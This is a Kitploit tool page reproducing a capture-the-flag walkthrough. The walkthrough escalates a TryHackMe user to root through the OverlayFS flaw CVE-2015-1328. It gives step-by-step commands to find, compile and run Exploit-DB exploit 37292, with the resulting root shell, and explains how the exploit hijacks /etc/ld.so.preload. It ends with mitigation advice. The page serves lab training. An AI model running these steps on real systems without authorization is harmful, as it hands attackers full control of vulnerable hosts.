Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2015-1328 — Step-by-step walkthrough for exploiting CVE-2015-1328 (OverlayFS) to escalate privileges from a low-privileged user to root on Ubuntu 14.04. Includes enumeration, exploit compilation, and execution. | Kitploit
Tools/GitHubGitHub/fernandocassiodev/cve-2015-1328
Privilege EscalationExploitationCTFLearning & EducationBinary ExploitationLabs & Practice
GitHubfernandocassiodev/cve-2015-1328

CVE-2015-1328

Step-by-step walkthrough for exploiting CVE-2015-1328 (OverlayFS) to escalate privileges from a low-privileged user to root on Ubuntu 14.04. Includes enumeration, exploit compilation, and execution.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
31 month agoNot yet reviewed

CVE-2015-1328

TryHackMe Walkthrough – Linux Kernel Privilege Escalation (CVE-2015-1328)

Objective

The goal of this walkthrough was to escalate privileges from a low-privileged user (karen) to root by exploiting a vulnerable Linux kernel.


Step 1 – Initial Enumeration

After connecting to the target machine via SSH:

root@kitploit:~
ssh karen@<target-ip>

I identified the Linux kernel version:

root@kitploit:~
uname -r

Output:

root@kitploit:~
3.13.0-24-generic

The machine was running Ubuntu 14.04 with the kernel 3.13.0-24-generic.


Step 2 – Search for Kernel Vulnerabilities

Since Linux privilege escalation often relies on vulnerable kernels, I searched Exploit-DB using SearchSploit:

root@kitploit:~
searchsploit overlayfs ubuntu 3.13

Result:

root@kitploit:~
Linux Kernel 3.13.0 < 3.19 (Ubuntu...) - overlayfs Local Privilege Escalation
37292.c

This exploit targets CVE-2015-1328, which affects Ubuntu kernels prior to the patched versions.


Step 3 – Understand the Vulnerability

Before executing any exploit, it is important to understand what it does.

The exploit abuses a flaw in OverlayFS, the Linux union filesystem.

The vulnerability exists because OverlayFS incorrectly handles file permissions when mounted inside a user namespace (CLONE_NEWUSER).

An unprivileged user can manipulate OverlayFS to create or modify files that should only be writable by root.

The exploit ultimately writes to:

root@kitploit:~
/etc/ld.so.preload

This file tells the Linux dynamic loader to load a shared library before every dynamically linked executable.

By forcing the system to load a malicious shared library, the exploit gains code execution as root.


Step 4 – Obtain the Exploit

Using SearchSploit:

root@kitploit:~
searchsploit -m 37292

This copied the exploit locally:

root@kitploit:~
37292.c

The exploit was then transferred to the victim machine.

In this walkthrough, it was saved as:

root@kitploit:~
/tmp/ofs.c

Step 5 – Compile the Exploit

Navigate to the directory containing the exploit:

root@kitploit:~
cd /tmp

Compile it using GCC:

root@kitploit:~
gcc ofs.c -o ofs

If the compilation succeeds, GCC produces no output.

Verify the executable exists:

root@kitploit:~
ls -l

Expected:

root@kitploit:~
-rwxr-xr-x ... ofs

Step 6 – Execute the Exploit

Run the executable:

root@kitploit:~
./ofs

The exploit prints messages similar to:

root@kitploit:~
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library

Finally, it spawns a root shell:

root@kitploit:~
#

Verify the privileges:

root@kitploit:~
id

Output:

root@kitploit:~
uid=0(root) gid=0(root)

Step 7 – Retrieve the Flag

With root privileges obtained:

root@kitploit:~
cat /home/matt/flag1.txt

The file could now be read successfully.


How the Exploit Works

The exploit performs several actions internally.

1. Creates a User Namespace

root@kitploit:~
unshare(CLONE_NEWUSER);

Linux user namespaces allow an unprivileged process to appear as root inside the namespace, without being root on the host.

This capability is essential for the attack.


2. Creates a Mount Namespace

root@kitploit:~
clone(... CLONE_NEWNS ...)

A separate mount namespace isolates filesystem changes from the rest of the operating system.

This allows the exploit to mount OverlayFS without affecting the global filesystem.


3. Mounts OverlayFS

The exploit creates temporary directories:

root@kitploit:~
/tmp/ns_sploit/
├── upper/
├── work/
└── o/

It then mounts OverlayFS:

root@kitploit:~
Lower Layer
      │
      ▼
OverlayFS
      │
      ▼
Upper Layer

Due to the kernel vulnerability, OverlayFS incorrectly permits operations that should require root privileges.


4. Creates /etc/ld.so.preload

The exploit renames a writable file inside the OverlayFS mount to:

root@kitploit:~
ld.so.preload

After remounting OverlayFS over /etc, this file becomes:

root@kitploit:~
/etc/ld.so.preload

Normally, only root should be able to create this file.


5. Builds a Malicious Shared Library

The exploit writes a C source file:

root@kitploit:~
/tmp/ofs-lib.c

Then compiles it:

root@kitploit:~
gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c

The resulting shared library overrides the getuid() function.


6. Hijacks the Dynamic Linker

The exploit writes:

root@kitploit:~
/tmp/ofs-lib.so

into:

root@kitploit:~
/etc/ld.so.preload

Every dynamically linked executable now loads this malicious library before any system library.


7. Executes /bin/su

Finally:

root@kitploit:~
execl("/bin/su", "su", NULL);

When su starts, the malicious getuid() function executes instead of the original.

The library:

  • removes /etc/ld.so.preload
  • deletes the malicious shared library
  • calls:
root@kitploit:~
setresuid(0,0,0);
setresgid(0,0,0);
  • launches:
root@kitploit:~
/bin/sh

The result is an interactive root shell.


Why This Works

The vulnerability is caused by incorrect permission handling in OverlayFS when used inside user namespaces.

An unprivileged user can manipulate OverlayFS to create privileged files such as:

root@kitploit:~
/etc/ld.so.preload

Since the dynamic loader trusts this file, arbitrary code is executed as root.


Mitigation

This vulnerability was patched by Ubuntu in updated kernel releases.

Mitigation strategies include:

  • Updating the Linux kernel to a patched version.
  • Disabling unprivileged user namespaces when not required.
  • Restricting OverlayFS usage.
  • Applying security updates regularly.
  • Monitoring for unauthorized modifications to:
    • /etc/ld.so.preload
    • /etc/ld.so.cache

Key Takeaways

  • Always enumerate the kernel version during Linux privilege escalation.
  • Verify whether the kernel version is vulnerable before attempting exploitation.
  • Read and understand exploit code before executing it.
  • Kernel exploits can lead directly to root privileges but may also crash the target system.
  • In real-world penetration tests, kernel exploitation should only be attempted when explicitly authorized because of the potential impact on system stability.

Commands Used

root@kitploit:~
# Enumerate kernel version
uname -r

# Search for exploit
searchsploit overlayfs ubuntu 3.13

# Copy exploit locally
searchsploit -m 37292

# Compile exploit
gcc ofs.c -o ofs

# Execute exploit
./ofs

# Verify privileges
id

# Read flag
cat /home/matt/flag1.txt
Download Tool